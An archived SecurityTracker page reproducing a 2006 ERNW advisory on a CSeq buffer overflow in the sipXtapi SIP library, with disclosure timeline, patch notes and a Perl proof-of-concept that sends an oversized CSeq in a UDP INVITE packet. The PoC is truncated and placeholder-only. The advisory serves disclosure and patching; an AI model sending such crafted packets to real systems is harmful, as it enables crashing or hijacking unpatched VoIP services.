Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Generic)  >   sipXtapi Vendors:   SIPfoundry
sipXtapi Buffer Overflow in CSeq Field Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016455
SecurityTracker URL:
CVE Reference:   CVE-2006-3524   (Links to External Site)
Updated:  Jul 18 2008
Original Entry Date:  Jul 10 2006
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  

Description:   A vulnerability was reported in sipXtapi. A remote user can execute arbitrary code on the target system.

A user can send a specially crafted CSeq field value greater than 24 bytes to trigger a buffer overflow and execute arbitrary code on the target system. The code will run with the privileges of the target service.

Some PingTel products and AOL Triton use the vulnerable library and are affected.

The vendor was notified on March 20, 2006.

Michael Thumann reported this vulnerability.

Impact:   A remote user can execute arbitrary code on the target system.
Solution:   The vendor issued a source code fix (on March 24, 2006).

The affected PingTel and AOL products have been updated.

Vendor URL: (Links to External Site)
Cause:   Boundary error

Message History:   None.

 Source Message Contents

Subject:  [Full-disclosure] ERNW Security Advisory 02/2006 - Buffer Overflow

ERNW Security Advisory 02-2006

Buffer Overflow in SIP Foundry's SipXtapi

Michael Thumann <mthumann[at]>

1. Summary:
The sipXtapi library from sip foundry contains a buffer overflow when parsing the CSeq field.
This flaw can be used by  an attacker to gain control over EIP and execute arbitrary code.

2. Severity : Critical

3. Products affected
- sipXtapi: all version compiled before 24 of march 2006
- PingTel products
- AOL Triton

4. Patch Availability :
A patch is available within the source tree and the affected products of PingTel and AOL
have beed updated.

5. Details
Sending a CSeq field value greater than 24 bytes triggers the buffer ovlerflow condition.

6. Solution
Update the affected products to the actual version.

7. Time-Line 
20 Mar 2006: Vulnerability reported to vendor
20 Mar 2006: Answer from vendor
24 Mar 2006: Patch available
10 July 2006: Public Disclosure

8. Exploit
# PoC Exploit By
# Remote Buffer Overflow in sipXtapi

use IO::Socket;
#use strict;

print "sipXtapi Exploit by Michael Thumann \n\n";

if (not $ARGV[0]) {
        print "Usage: <host>\n"; 

my $source ="";
my $target_port = 5060;
my $user ="bad";
my $eip="\x41\x41\x41\x41";
my $cseq = 
my $packet =<<END;
INVITE sip:user\@$source SIP/2.0\r
To: <sip:$target:$target_port>\r
Via: SIP/2.0/UDP $target:3277\r
From: "moz"<sip:$target:3277>\r
Call-ID: 3121$target\r
CSeq: $cseq\r
Max-Forwards: 70\r
Contact: <sip:$source:5059>\r

print "Sending Packet to: " . $target . "\n\n";
socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
my $ipaddr = inet_aton($target);
my $sendto = sockaddr_in($target_port,$ipaddr);
send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to $target : $target_port : $!\n";
print "Done.\n";

9. Thanks
We would like to thank the guys from sip foundry for working together on this issue in a professional and
responsible way.

10. Disclaimer
 The informations in this advisory are provided "AS IS" without warranty 
of any kind. In no event shall the authors be liable for any damages 
whatsoever including direct, indirect, incidental, consequential, 
loss of business profits or special damages due to the misuse of any 
information provided in this advisory. 

Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia -


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, LLC